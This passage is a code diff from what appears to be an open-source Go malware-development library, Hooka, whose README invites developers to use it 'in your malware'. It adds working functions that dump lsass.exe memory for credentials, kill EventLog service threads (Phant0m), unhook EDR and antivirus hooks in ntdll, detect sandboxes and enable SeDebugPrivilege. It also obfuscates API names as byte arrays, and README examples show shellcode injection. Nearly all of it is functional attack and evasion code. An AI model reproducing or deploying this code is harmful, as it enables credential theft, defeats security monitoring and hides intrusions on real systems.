if err != nil {
return &windows.LazyProc{}, "", err
}
defer pe_file.Close()
// Get export table
exports, err := pe_file.Exports()
if err != nil {
return &windows.LazyProc{}, "", err
}
for _, exp := range exports {
if hash == hashing_function(exp.Name) {
return windows.NewLazyDLL(dll).NewProc(exp.Name), exp.Name, nil
}
}
return &windows.LazyProc{}, "", errors.New("function not found")
}
// retrieve syscall using hashing to use it later like Syscall(sysid, ...)
func GetSysIdHash(hash string, dll string, hashing_func func(str string) string) (uint16, string, error) {
dll_pe, err := pe.Open(dll) // Open and parse dll as a PE
if err != nil {
return 0, "", err
@@ -49,10 +80,11 @@ func FuncFromHash(hash string, dll string, hashing_func func(str string) string)
}
}
return 0, "", errors.New("function not found!")
return 0, "", errors.New("syscall ID not found")
}
func HalosFuncFromHash(hash string, hashing_func func(str string) string) (uint16, string, error) {
// retrieve syscall using hashing and Hell's Gate + Halo's Gate technique like GetSysId() function
func GetSysIdHashHalos(hash string, hashing_func func(str string) string) (uint16, string, error) {
var ntdll_pe *pe.File
var err error
+8 -10
View File
@@ -1,4 +1,4 @@
package core
package evasion
/*
@@ -8,7 +8,7 @@ https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscal
*/
import (
"errors"
"bytes"
"strings"
// Third-party packages
@@ -18,32 +18,30 @@ import (
func DetectHooks() ([]string, error) {
var hooked_functions []string
ntdll_pe, err := pe.Open(ntdllpath) // Open and parse ntdll.dll as a PE
dll_pe, err := pe.Open(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}))
if err != nil {
return hooked_functions, err
}
defer ntdll_pe.Close()
defer dll_pe.Close()
exports, err := ntdll_pe.Exports() // Get exported functions
exports, err := dll_pe.Exports() // Get exported functions
if err != nil {
return hooked_functions, err
}
for _, exp := range exports { // Iterate over them
offset := rvaToOffset(ntdll_pe, exp.VirtualAddress) // Get RVA offset
bBytes, err := ntdll_pe.Bytes() // Get bytes from ntdll.dll
offset := rvaToOffset(dll_pe, exp.VirtualAddress) // Get RVA offset
bBytes, err := dll_pe.Bytes() // Get bytes from ntdll.dll
if err != nil {
return hooked_functions, err
}
buff := bBytes[offset : offset+10]
_, err = CheckBytes(buff) // Get syscall ID (if function is hooked it returns a custom error)
var hook_err MayBeHookedError
if len(exp.Name) > 3 { // Avoid errors by checking function name length
if exp.Name[0:2] == "Nt" || exp.Name[0:2] == "Zw" { // Just use functions which start by "Nt" or "Zw"
if errors.As(err, &hook_err) == true { // Check error
if !bytes.HasPrefix(buff, HookCheck) { // check if it is hooked
hooked_functions = append(hooked_functions, exp.Name)
}
}
+79
View File
@@ -0,0 +1,79 @@
package evasion
/*
References:
https://github.com/calebsargent/GoProcDump
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
*/
import (
"os"
"golang.org/x/sys/windows"
"unsafe"
mproc "github.com/D3Ext/maldev/process"
)
func DumpLsass(output_file string) error {
err := ElevateProcessToken()
if err != nil {
return err
}
all_lsass_pids, err := mproc.FindPidByName(string([]byte{'l', 's', 'a', 's', 's', '.', 'e', 'x', 'e'}))
if err != nil {
return err
}
lsass_pid := all_lsass_pids[0]
kernel32 := windows.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
dbghelp := windows.NewLazyDLL(string([]byte{'D', 'b', 'g', 'h', 'e', 'l', 'p', '.', 'd', 'l', 'l'}))
MiniDumpWriteDump := dbghelp.NewProc(string([]byte{'M', 'i', 'n', 'i', 'D', 'u', 'm', 'p', 'W', 'r', 'i', 't', 'e', 'D', 'u', 'm', 'p'}))
OpenProcess := kernel32.NewProc(string([]byte{'O', 'p', 'e', 'n', 'P', 'r', 'o', 'c', 'e', 's', 's'}))
CreateFileW := kernel32.NewProc(string([]byte{'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W'}))
pHandle, _, _ := OpenProcess.Call(
uintptr(0xFFFF),
uintptr(1),
uintptr(lsass_pid),
)
// Create memory dump
os.Create(output_file)
path, err := windows.UTF16PtrFromString(output_file)
if err != nil {
return err
}
fHandle, _, _ := CreateFileW.Call(
uintptr(unsafe.Pointer(path)),
windows.GENERIC_WRITE,
windows.FILE_SHARE_READ|windows.FILE_SHARE_WRITE,
0,
windows.OPEN_EXISTING,
windows.FILE_ATTRIBUTE_NORMAL,
0,
)
ret, _, err := MiniDumpWriteDump.Call(
uintptr(pHandle),
uintptr(lsass_pid),
uintptr(fHandle),
0x00061907,
0,
0,
0,
)
if ret == 0 {
os.Remove(output_file)
return err
}
return nil
}
+154
View File
@@ -0,0 +1,154 @@
package evasion
import (
"errors"
"unsafe"
"golang.org/x/sys/windows"
)
func GetEventLogPid() (int, error) {
advapi32 := windows.NewLazyDLL("advapi32.dll")
OpenSCManager := advapi32.NewProc("OpenSCManagerW")
OpenService := advapi32.NewProc("OpenServiceW")
QueryServiceStatusEx := advapi32.NewProc("QueryServiceStatusEx")
var ssp windows.SERVICE_STATUS_PROCESS
var dwBytesNeeded uint32
scm, _, err := OpenSCManager.Call(0, 0, windows.SERVICE_QUERY_STATUS)
if scm == 0 {
return 0, err
}
svc, _, err := OpenService.Call(scm, uintptr(unsafe.Pointer(windows.StringToUTF16Ptr("EventLog"))), windows.SERVICE_QUERY_STATUS)
if svc == 0 {
return 0, err
}
QueryServiceStatusEx.Call(svc, windows.SC_STATUS_PROCESS_INFO, uintptr(unsafe.Pointer(&ssp)), uintptr(unsafe.Sizeof(ssp)), uintptr(unsafe.Pointer(&dwBytesNeeded)))
return int(ssp.ProcessId), nil
}
// Main function
func Phant0m(eventlog_pid int) error {
err := ElevateProcessToken() // admin privs needed
if err != nil {
return err
}
ntdll := windows.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}))
NtQueryInformationThread := ntdll.NewProc(string([]byte{'N', 't', 'Q', 'u', 'e', 'r', 'y', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', 'T', 'h', 'r', 'e', 'a', 'd'}))
advapi32 := windows.NewLazyDLL(string([]byte{'a', 'd', 'v', 'a', 'p', 'i', '3', '2', '.', 'd', 'l', 'l'}))
I_QueryTagInformation := advapi32.NewProc(string([]byte{'I', '_', 'Q', 'u', 'e', 'r', 'y', 'T', 'a', 'g', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n'}))
kernel32 := windows.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
OpenThread := kernel32.NewProc(string([]byte{'O', 'p', 'e', 'n', 'T', 'h', 'r', 'e', 'a', 'd'}))
OpenProcess := kernel32.NewProc(string([]byte{'O', 'p', 'e', 'n', 'P', 'r', 'o', 'c', 'e', 's', 's'}))
TerminateThread := kernel32.NewProc(string([]byte{'T', 'e', 'r', 'm', 'i', 'n', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd'}))
CloseHandle := kernel32.NewProc(string([]byte{'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e'}))
ReadProcessMemory := kernel32.NewProc(string([]byte{'R', 'e', 'a', 'd', 'P', 'r', 'o', 'c', 'e', 's', 's', 'M', 'e', 'm', 'o', 'r', 'y'}))
CreateToolhelp32Snapshot := kernel32.NewProc(string([]byte{'C', 'r', 'e', 'a', 't', 'e', 'T', 'o', 'o', 'l', 'h', 'e', 'l', 'p', '3', '2', 'S', 'n', 'a', 'p', 's', 'h', 'o', 't'}))
Thread32First := kernel32.NewProc(string([]byte{'T', 'h', 'r', 'e', 'a', 'd', '3', '2', 'F', 'i', 'r', 's', 't'}))
Thread32Next := kernel32.NewProc(string([]byte{'T', 'h', 'r', 'e', 'a', 'd', '3', '2', 'N', 'e', 'x', 't'}))
var hThreads uintptr
hThreads, _, _ = CreateToolhelp32Snapshot.Call(
windows.TH32CS_SNAPTHREAD,
0,
)
if hThreads == 0 {
return errors.New("An error has occurred calling CreateToolhelp32Snapshot")
}
tbi := PTHREAD_BASIC_INFORMATION{}
te32 := windows.ThreadEntry32{}
te32.Size = uint32(unsafe.Sizeof(te32))
Thread32First.Call(
hThreads,
uintptr(unsafe.Pointer(&te32)),
)
for true {
if te32.OwnerProcessID == uint32(eventlog_pid) {
hEvtThread, _, _ := OpenThread.Call(
windows.THREAD_QUERY_LIMITED_INFORMATION|windows.THREAD_SUSPEND_RESUME|windows.THREAD_TERMINATE,
uintptr(0),
uintptr(te32.ThreadID),
)
if hEvtThread == 0 {
return errors.New("An error has occurred calling OpenThread")
}
NtQueryInformationThread.Call(
uintptr(hEvtThread),
0,
uintptr(unsafe.Pointer(&tbi)),
0x30,
0,
)
hEvtProcess, _, _ := OpenProcess.Call(
windows.PROCESS_VM_READ,
uintptr(0),
uintptr(te32.OwnerProcessID),
)
if hEvtProcess == 0 {
return errors.New("An error has occurred calling OpenProcess")
}
if tbi.pTebBaseAddress != 0 {
scTagQuery := SC_SERVICE_TAG_QUERY{}
var hTag byte
var pN uintptr
ReadProcessMemory.Call(
hEvtProcess,
tbi.pTebBaseAddress+0x1720,
uintptr(unsafe.Pointer(&hTag)),
unsafe.Sizeof(pN),
0,
)
scTagQuery.processId = te32.OwnerProcessID
scTagQuery.serviceTag = uint32(hTag)
I_QueryTagInformation.Call(
0,
1, // ServiceNameFromTagInformation
uintptr(unsafe.Pointer(&scTagQuery)),
)
if scTagQuery.pBuffer != nil {
TerminateThread.Call(
uintptr(hEvtThread),
0,
)
}
CloseHandle.Call(hEvtThread)
CloseHandle.Call(hEvtProcess)
}
}
_, _, err := Thread32Next.Call(
hThreads,
uintptr(unsafe.Pointer(&te32)),
)
if err != nil {
break
}
}
CloseHandle.Call(hThreads)
return nil
}
+18 -19
View File
@@ -1,4 +1,4 @@
package core
package evasion
import (
"errors"
@@ -6,7 +6,6 @@ import (
"os"
"os/user"
"runtime"
"syscall"
"time"
"unsafe"
@@ -15,72 +14,72 @@ import (
mproc "github.com/D3Ext/maldev/process"
)
func AutoCheck() error {
func AutoCheck() (bool, error) {
mem_check, err := CheckMemory()
if err != nil {
return err
return false, err
}
if mem_check {
os.Exit(0)
return true, nil
}
drivers_check := CheckDrivers()
if drivers_check {
os.Exit(0)
return true, nil
}
proc_check, err := CheckProcess()
if err != nil {
return err
return false, err
}
if proc_check {
os.Exit(0)
return true, nil
}
disk_check, err := CheckDisk()
if err != nil {
return err
return false, err
}
if disk_check {
os.Exit(0)
return true, nil
}
internet_check := CheckInternet()
if internet_check {
os.Exit(0)
return true, nil
}
hostn_check, err := CheckHostname()
if err != nil {
return err
return false, err
}
if hostn_check {
os.Exit(0)
return true, nil
}
user_check, err := CheckUsername()
if err != nil {
return err
return false, err
}
if user_check {
os.Exit(0)
return true, nil
}
cpu_check := CheckCpu()
if cpu_check {
os.Exit(0)
return true, nil
}
return nil
return false, nil
}
func CheckMemory() (bool, error) {
procGlobalMemoryStatusEx := syscall.NewLazyDLL("kernel32.dll").NewProc("GlobalMemoryStatusEx")
procGlobalMemoryStatusEx := windows.NewLazyDLL("kernel32.dll").NewProc("GlobalMemoryStatusEx")
msx := &memStatusEx{
dwLength: 64,
@@ -99,7 +98,7 @@ func CheckMemory() (bool, error) {
}
func CheckDisk() (bool, error) {
procGetDiskFreeSpaceExW := syscall.NewLazyDLL("kernel32.dll").NewProc("GetDiskFreeSpaceExW")
procGetDiskFreeSpaceExW := windows.NewLazyDLL("kernel32.dll").NewProc("GetDiskFreeSpaceExW")
lpTotalNumberOfBytes := int64(0)
diskret, _, err := procGetDiskFreeSpaceExW.Call(
+13
View File
@@ -0,0 +1,13 @@
package evasion
func Sleep() {
s := 500000
for i := 0; i <= s; i++ {
for j := 2; j <= i/2; j++ {
if i % j == 0 {
break
}
}
}
}
+17
View File
@@ -0,0 +1,17 @@
package evasion
import "fmt"
func Syscall(callid uint16, argh ...uintptr) (errcode uint32, err error) {
errcode = bpSyscall(callid, argh...)
if errcode != 0 {
err = fmt.Errorf("non-zero return from syscall")
}
return errcode, err
}
func bpSyscall(callid uint16, argh ...uintptr) (errcode uint32)
+217
View File
@@ -0,0 +1,217 @@
package evasion
/*
References:
https://github.com/RedLectroid/APIunhooker
https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis
*/
import (
"errors"
"io/ioutil"
"strings"
"time"
"unsafe"
"golang.org/x/sys/windows"
"github.com/Binject/debug/pe"
)
// This function unhooks given functions of especified dll
func ClassicUnhook(funcnames []string, dllpath string) error {
kernel32 := windows.NewLazyDLL("kernel32.dll")
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
GetModuleHandle := kernel32.NewProc("GetModuleHandleW")
GetProcAddress := kernel32.NewProc("GetProcAddress")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
// should be full path: C:\\Windows\\System32\\ntdll.dll
lib, _ := windows.LoadLibrary(dllpath)
defer windows.FreeLibrary(lib)
for _, f := range funcnames {
var assembly_bytes []byte
procAddr, _ := windows.GetProcAddress(lib, f)
ptr_bytes := (*[1 << 30]byte)(unsafe.Pointer(procAddr))
funcBytes := ptr_bytes[:5:5]
for i := 0; i < 5; i++ {
assembly_bytes = append(assembly_bytes, funcBytes[i])
}
pHandle, _, err := GetCurrentProcess.Call()
if pHandle == 0 {
return err
}
// Convert dll name to pointer
lib_ptr, err := windows.UTF16PtrFromString(strings.Split(dllpath, "\\")[3])
if err != nil {
return err
}
moduleHandle, _, err := GetModuleHandle.Call(uintptr(unsafe.Pointer(lib_ptr)))
if moduleHandle == 0 {
return err
}
func_ptr, err := windows.UTF16PtrFromString(f)
if err != nil {
return err
}
addr, _, err := GetProcAddress.Call(
moduleHandle,
uintptr(unsafe.Pointer(func_ptr)),
)
if addr == 0 {
return err
}
// Overwrite address with original function bytes
WriteProcessMemory.Call(
pHandle,
addr,
uintptr(unsafe.Pointer(&assembly_bytes[0])),
5,
uintptr(0),
)
}
return nil
}
// Load fresh DLL copy in memory
func FullUnhook(dlls_to_unhook []string) error {
ntdll := windows.NewLazyDLL("ntdll.dll")
NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
for _, dll_to_unhook := range dlls_to_unhook {
if (!strings.HasPrefix(dll_to_unhook, "C:\\")) {
dll_to_unhook = "C:\\Windows\\System32\\" + dll_to_unhook
}
f, err := ioutil.ReadFile(dll_to_unhook)
if err != nil {
return err
}
file, err := pe.Open(dll_to_unhook)
if err != nil {
return err
}
x := file.Section(".text")
size := x.Size
dll_bytes := f[x.Offset:x.Size]
dll, err := windows.LoadDLL(dll_to_unhook)
if err != nil {
return err
}
dll_handle := dll.Handle
dll_base := uintptr(dll_handle)
dll_offset := uint(dll_base) + uint(x.VirtualAddress)
regionsize := uintptr(size)
var oldProtect uintptr
r1, _, err := NtProtectVirtualMemory.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&dll_offset)), uintptr(unsafe.Pointer(&regionsize)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
if r1 != 0 {
return err
}
for i := 0; i < len(dll_bytes); i++ {
loc := uintptr(dll_offset + uint(i))
mem := (*[1]byte)(unsafe.Pointer(loc))
(*mem)[0] = dll_bytes[i]
}
r2, _, err := NtProtectVirtualMemory.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&dll_offset)), uintptr(unsafe.Pointer(&regionsize)), oldProtect, uintptr(unsafe.Pointer(&oldProtect)))
if r2 != 0 {
return err
}
}
return nil
}
// Get a clean copy of ntdll from a suspended process (e.g. notepad.exe) and copy it to current process
func PerunsUnhook() error {
kernel32 := windows.NewLazyDLL("kernel32.dll")
GetConsoleWindow := kernel32.NewProc("GetConsoleWindow")
CreateProcessW := kernel32.NewProc("CreateProcessW")
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
TerminateProcess := kernel32.NewProc("TerminateProcess")
ShowWindow := windows.NewLazyDLL("user32.dll").NewProc("ShowWindow")
hwnd, _, _ := GetConsoleWindow.Call()
if hwnd == 0 {
return errors.New("error calling GetConsoleWindow")
}
var SW_HIDE uintptr = 0
ShowWindow.Call(hwnd, SW_HIDE)
si:= &windows.StartupInfo{}
pi := &windows.ProcessInformation{}
cmd, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
if err != nil {
return err
}
CreateProcessW.Call(0, uintptr(unsafe.Pointer(cmd)), 0, 0, 0, windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer(si)), uintptr(unsafe.Pointer(pi)))
pHandle, _, _ := GetCurrentProcess.Call()
time.Sleep(5 * time.Second)
file, err := pe.Open("C:\\Windows\\System32\\ntdll.dll")
if err != nil {
return err
}
x := file.Section(".text")
size := x.Size
dll, err := windows.LoadDLL("C:\\Windows\\System32\\ntdll.dll")
if err != nil {
return err
}
dll_handle := dll.Handle
dll_base := uintptr(dll_handle)
dll_offset := uint(dll_base) + uint(x.VirtualAddress)
var data = make([]byte, size)
var nbr uintptr = 0
r1, _, err := ReadProcessMemory.Call(uintptr(pi.Process), uintptr(dll_offset), uintptr(unsafe.Pointer(&data[0])), uintptr(size), uintptr(unsafe.Pointer(&nbr)))
if r1 == 0 {
return err
}
ntdll_bytes := data
ntdll_offset := dll_offset
var nLength uintptr
r2, _, err := WriteProcessMemory.Call(pHandle, uintptr(ntdll_offset), uintptr(unsafe.Pointer(&ntdll_bytes[0])), uintptr(uint32(len(ntdll_bytes))), uintptr(unsafe.Pointer(&nLength)))
if r2 == 0 {
return err
}
TerminateProcess.Call(uintptr(pi.Process), 0)
return nil
}
+187
View File
@@ -0,0 +1,187 @@
package evasion
import (
"encoding/binary"
"bytes"
"unsafe"
"syscall"
"strings"
"fmt"
"crypto/sha1"
//"golang.org/x/sys/windows"
"github.com/Binject/debug/pe"
)
func Sha1(str string) string {
h := sha1.New()
h.Write([]byte(str))
bs := h.Sum(nil)
return fmt.Sprintf("%x", bs)
}
var HookCheck = []byte{0x4c, 0x8b, 0xd1, 0xb8} // Define hooked bytes to look for
type MayBeHookedError struct { // Define custom error for hooked functions
Foundbytes []byte
}
func (e MayBeHookedError) Error() string {
return fmt.Sprintf("may be hooked: wanted %x got %x", HookCheck, e.Foundbytes)
}
func CheckBytes(b []byte) (uint16, error) {
if !bytes.HasPrefix(b, HookCheck) { // Check syscall bytes
return 0, MayBeHookedError{Foundbytes: b}
}
return binary.LittleEndian.Uint16(b[4:8]), nil
}
// getString extracts a string from symbol string table.
func getString(section []byte, start int) (string, bool) {
if start < 0 || start >= len(section) {
return "", false
}
for end := start; end < len(section); end++ {
if section[end] == 0 {
return string(section[start:end]), true
}
}
return "", false
}
func rvaToOffset(pefile *pe.File, rva uint32) uint32 {
for _, hdr := range pefile.Sections {
baseoffset := uint64(rva)
if baseoffset > uint64(hdr.VirtualAddress) &&
baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) {
return rva - hdr.VirtualAddress + hdr.Offset
}
}
return rva
}
func inMemLoads(modulename string) (uintptr, uintptr) {
s, si, p := gMLO(0)
start := p
i := 1
if strings.Contains(strings.ToLower(p), strings.ToLower(modulename)) {
return s, si
}
for {
s, si, p = gMLO(i)
if p != "" {
if strings.Contains(strings.ToLower(p), strings.ToLower(modulename)) {
return s, si
}
}
if p == start {
break
}
i++
}
return 0, 0
}
func GetNtdllStart() (start uintptr, size uintptr)
func gMLO(i int) (start uintptr, size uintptr, modulepath string) {
var badstring *sstring
start, size, badstring = getMLO(i)
modulepath = badstring.String()
return
}
// getModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll.
func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring)
// Enable SeDebugPrivilege
func ElevateProcessToken() error {
type Luid struct {
lowPart uint32 // DWORD
highPart int32 // long
}
type LuidAndAttributes struct {
luid Luid // LUID
attributes uint32 // DWORD
}
type TokenPrivileges struct {
privilegeCount uint32 // DWORD
privileges [1]LuidAndAttributes
}
const SeDebugPrivilege = "SeDebugPrivilege"
const tokenAdjustPrivileges = 0x0020
const tokenQuery = 0x0008
var hToken uintptr
kernel32 := syscall.NewLazyDLL("kernel32.dll")
advapi32 := syscall.NewLazyDLL("advapi32.dll")
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
GetLastError := kernel32.NewProc("GetLastError")
OpenProcessToken := advapi32.NewProc("OpenProcessToken")
LookupPrivilegeValue := advapi32.NewProc("LookupPrivilegeValueW")
AdjustTokenPrivileges := advapi32.NewProc("AdjustTokenPrivileges")
currentProcess, _, _ := GetCurrentProcess.Call()
result, _, err := OpenProcessToken.Call(
currentProcess,
tokenAdjustPrivileges|tokenQuery,
uintptr(unsafe.Pointer(&hToken)),
)
if result != 1 {
return err
}
var tkp TokenPrivileges
result, _, err = LookupPrivilegeValue.Call(
uintptr(0),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SeDebugPrivilege))),
uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
)
if result != 1 {
return err
}
const SePrivilegeEnabled uint32 = 0x00000002
tkp.privilegeCount = 1
tkp.privileges[0].attributes = SePrivilegeEnabled
result, _, err = AdjustTokenPrivileges.Call(
hToken,
0,
uintptr(unsafe.Pointer(&tkp)),
0,
uintptr(0),
0,
)
if result != 1 {
return err
}
result, _, _ = GetLastError.Call()
if result != 0 {
return err
}
return nil
}
+175 -41
View File
@@ -1,6 +1,6 @@
# Library
If you're looking to implement any function in your malware you can do it using the official package API. First of all download the package
If you're looking to implement any function in your malware you can do it using the official package API. First of all you have to download the package
```sh
go get github.com/D3Ext/Hooka/pkg/hooka
@@ -15,7 +15,6 @@ package main
import (
"fmt"
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
@@ -43,42 +42,31 @@ package main
import (
"fmt"
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main(){
// 8c2beefa1c516d318252c9b1b45253e0549bb1c4 = NtCreateThread
// it comes from: hooka.HashFromFunc("NtCreateThread")
// 8c2beefa1c516d318252c9b1b45253e0549bb1c4 = Sha1(NtCreateThread)
// Returns a pointer to function like NewProc()
proc, err := hooka.FuncFromHash("8c2beefa1c516d318252c9b1b45253e0549bb1c4")
// func GetFuncPtr(hash string, dll string, hashing_function func(str string) string) (*windows.LazyProc, string, error)
NtCreateThread, _, err := hooka.GetFuncPtr("8c2beefa1c516d318252c9b1b45253e0549bb1c4", "C:\\Windows\\System32\\ntdll.dll", Sha1)
if err != nil {
log.Fatal(err)
}
// Now use the procedure as loading it from dll
r, err := hooka.Syscall(
proc,
arg1,
arg2,
arg3,
arg4,
)
...
// Now use the procedure as usually
NtCreateThread.Call(...)
}
```
> Apply AMSI and ETW patch
> Patch AMSI and ETW
```go
package main
import (
"fmt"
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
@@ -106,7 +94,6 @@ package main
import (
"fmt"
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
@@ -133,6 +120,54 @@ func main(){
}
```
> Get syscall id using hashing
```go
package main
import (
"fmt"
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main(){
//func GetSysIdHash(hash string, dll string, hashing_func func(str string) string) (uint16, string, error)
NtCreateThread, err := hooka.GetSysIdHash("8c2beefa1c516d318252c9b1b45253e0549bb1c4", "C:\\Windows\\System32\\ntdll.dll", Sha1)
if err != nil {
log.Fatal(err)
}
r, err := hooka.Syscall(NtCreateThread, ...)
if err != nil {
log.Fatal(err)
}
}
```
> Get syscall id using hashing combined with Hell's Gate + Halo's Gate
```go
package main
import (
"fmt"
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main(){
//func GetSysIdHashHalos(hash string, dll string, hashing_func func(str string) string) (uint16, string, error)
NtCreateThread, err := hooka.GetSysIdHashHalos("8c2beefa1c516d318252c9b1b45253e0549bb1c4", "C:\\Windows\\System32\\ntdll.dll", Sha1)
if err != nil {
log.Fatal(err)
}
r, err := hooka.Syscall(NtCreateThread, ...)
if err != nil {
log.Fatal(err)
}
}
```
> Use shellcode injection techniques
```go
package main
@@ -140,26 +175,20 @@ package main
import (
"fmt"
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
var calc_shellcode = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
func main(){
err := hooka.CreateRemoteThread(calc_shellcode)
// func CreateRemoteThread(shellcode []byte, pid int) error
// specify the shellcode and the PID to inject the shellcode in. Use 0 as PID to inject in current process
err := hooka.CreateRemoteThread(calc_shellcode, 0)
if err != nil {
log.Fatal(err)
}
fmt.Println("Shellcode injected via CreateRemoteThread")
err = hooka.CreateProcess(calc_shellcode)
if err != nil {
log.Fatal(err)
}
fmt.Println("Shellcode injected via CreateProcess")
...
}
```
@@ -175,20 +204,21 @@ import (
)
func main(){
// Use classic technique
err := hooka.ClassicUnhook("NtCreateThread", "C:\\Windows\\System32\\ntdll.dll")
// this function unhooks given functions of especified dll using classic unhooking technique
// func ClassicUnhook(funcnames []string, dllpath string) error
err := hooka.ClassicUnhook([]string{"NtCreateThreadEx", "NtOpenProcess"}, "C:\\Windows\\System32\\ntdll.dll")
if err != nil {
log.Fatal(err)
}
// This technique loads original ntdll.dll from disk into memory to restore all functions
err = hooka.FullUnhook("C:\\Windows\\System32\\ntdll.dll")
// unhook all functions from every dll of a slice
err = hooka.FullUnhook([]string{"C:\\Windows\\System32\\ntdll.dll", "C:\\Windows\\System32\\kernelbase.dll"})
if err != nil {
log.Fatal(err)
}
// Use modern Perun's Fart technique
err = hooka.PerunsUnhook()
// get a clean copy of every DLL from a suspended process (e.g. notepad.exe) and copy the clean DLL to th the current process
err = hooka.PerunsUnhook([]string{"C:\\Windows\\System32\\ntdll.dll", "C:\\Windows\\System32\\kernelbase.dll"})
if err != nil {
log.Fatal(err)
}
@@ -197,25 +227,129 @@ func main(){
}
```
> Get function pointer
> Enable ACG on current process
```go
package main
import (
"fmt"
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main(){
ptr, err := hooka.GetFuncPtr("NtCreateThread")
err := hooka.EnableACG()
if err != nil {
log.Fatal(err)
}
}
```
> Block non-Microsoft signed DLLs on current process (BlockDLLs)
```go
package main
import (
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main(){
err := hooka.BlockDLLs()
if err != nil {
log.Fatal(err)
}
}
```
> Create process with BlockDLLs enabled
```go
package main
import (
"log"
"fmt"
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main(){
// launch a program (e.g. notepad.exe) with BlockDLLs enabled
err := hooka.CreateProcessBlockDLLs("C:\\Windows\\System32\\notepad.exe")
if err != nil {
log.Fatal(err)
}
fmt.Println("Process launched!")
}
```
> Detect sandbox using multiple techniques (see `evasion/sandbox` for specific functions)
```go
package main
import (
"log"
"fmt"
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main(){
check, err := hooka.AutoCheck()
if err != nil {
log.Fatal(err)
}
fmt.Println(ptr)
if check {
fmt.Println("Sandbox detected!")
os.Exit(0)
}
fmt.Println("Probably not a sandbox")
}
```
> Suspend EventLog threads (Phant0m technique)
```go
package main
import (
"log"
"fmt"
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main(){
pid, err := hooka.GetEventLogPid()
if err != nil {
log.Fatal(err)
}
err = hooka.Phant0m(pid)
if err != nil {
log.Fatal(err)
}
fmt.Println("Success!")
}
```
> Dump lsass.exe to a file
```go
package main
import (
"log"
"fmt"
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main(){
err := hooka.DumpLsass("dump_file")
if err != nil {
log.Fatal(err)
}
fmt.Println("lsass.exe dumped to a file")
}
```
+6 -5
View File
@@ -7,8 +7,8 @@ import (
"log"
)
// Convert string to Sha1 (used for hashing)
func StrToSha1(str string) string {
// Convert string to SHA1 (used for hashing)
func Sha1(str string) string {
h := sha1.New()
h.Write([]byte(str))
bs := h.Sum(nil)
@@ -17,12 +17,13 @@ func StrToSha1(str string) string {
}
func main() {
hash := "6caed95840c323932b680d07df0a1bce28a89d1c" // StrToSha1("NtWriteVirtualMemory")
hash := "b4de6817d3b22d785568d6480b613c4b2520729a" // Sha1("GetCurrentProcess")
sysid, str, err := hooka.FuncFromHash(hash, "C:\\Windows\\System32\\ntdll.dll", StrToSha1)
